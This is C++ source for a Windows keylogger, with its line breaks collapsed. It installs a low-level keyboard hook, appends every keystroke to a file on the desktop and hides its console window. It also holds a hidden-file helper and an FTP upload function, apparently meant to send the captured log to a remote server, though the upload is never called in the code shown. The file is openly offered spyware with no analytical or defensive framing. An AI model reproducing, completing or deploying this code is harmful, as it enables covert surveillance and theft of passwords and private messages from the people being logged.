#pragma comment (lib,"wininet.lib")#include <windows.h>#include <wininet.h> //for uploadFile function#include <shlobj.h>#include <iostream>using namespace std;char * extractFilename(char * path) { char * ret = path; bool isFullPath = false; for (int i = 0; i < strlen(path); i++) { if (ret[i] == '\\') { isFullPath = true; } } if (isFullPath) { ret = (char *)((DWORD)path + lstrlen(path) - 1); while (*ret != '\\') ret--; ret++; } return ret;}FILE * f;HHOOK hKeyboardHook;/*Change file attributes to hidden*/void hide_file(char * file){ if (GetFileAttributes(file) != 0x22) SetFileAttributes(file, 0x22);}/*Since we are working with files placed on desktop we need the Desktop directory path*/bool getDesktopPath(char * ret){ char desktop[260]; if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE, NULL, SHGFP_TYPE_CURRENT, desktop))) { strcpy(ret, desktop); return true; } else { ret = NULL; return false; }}char *dupcat(const char *s1, ...) { int len; char *p, *q, *sn; va_list ap; len = strlen(s1); va_start(ap, s1); while (1) { sn = va_arg(ap, char *); if (!sn) break; len += strlen(sn); } va_end(ap); p = new char[len + 1]; strcpy(p, s1); q = p + strlen(p); va_start(ap, s1); while (1) { sn = va_arg(ap, char *); if (!sn) break; strcpy(q, sn); q += strlen(q); } va_end(ap); return p;} /*Upload file to server*/BOOL uploadFile(char *filename, char *destination_name, char *address, char *username, char *password){ BOOL t = false; HINTERNET hint, hftp; hint = InternetOpen("FTP", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_ASYNC); hftp = InternetConnect(hint, address, INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP, 0, 0); t = FtpPutFile(hftp, filename, destination_name, FTP_TRANSFER_TYPE_BINARY, 0); InternetCloseHandle(hftp); InternetCloseHandle(hint); return t;}static int keysPressed = 0;LRESULT WINAPI Keylogger(int nCode, WPARAM wParam, LPARAM lParam){ char currentDirectory[260]; char * workFullPath; if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN))) { bool truth = getDesktopPath(currentDirectory); if (truth) { workFullPath = dupcat(currentDirectory, "\\work.txt", NULL); f = fopen(workFullPath, "a+"); //Open the file } KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam); DWORD dwMsg = 1; dwMsg += hooked_key.scanCode << 16; dwMsg += hooked_key.flags << 24; char lpszKeyName[1024] = { 0 }; lpszKeyName[0] = '['; int i = GetKeyNameText(dwMsg, (lpszKeyName + 1), 0xFF) + 1; int key = hooked_key.vkCode; lpszKeyName[i] = ']'; if (key >= 'A' && key <= 'Z') { if (GetAsyncKeyState(VK_SHIFT) >= 0) key += 0x20; if (f != NULL) fprintf(f, "%c", key); } else { if (f != NULL) fprintf(f, "%s", lpszKeyName); } keysPressed++; if (keysPressed == 150) //Enough data { keysPressed = 0; } fclose(f); } return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);}DWORD WINAPI JACKAL(LPVOID lpParm){ HINSTANCE hins; hins = GetModuleHandle(NULL); hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)Keylogger, hins, 0); MSG message; while (GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } UnhookWindowsHookEx(hKeyboardHook); return 0;}void Stealth(){ HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth, 0);}void main() { Stealth(); JACKAL(NULL);}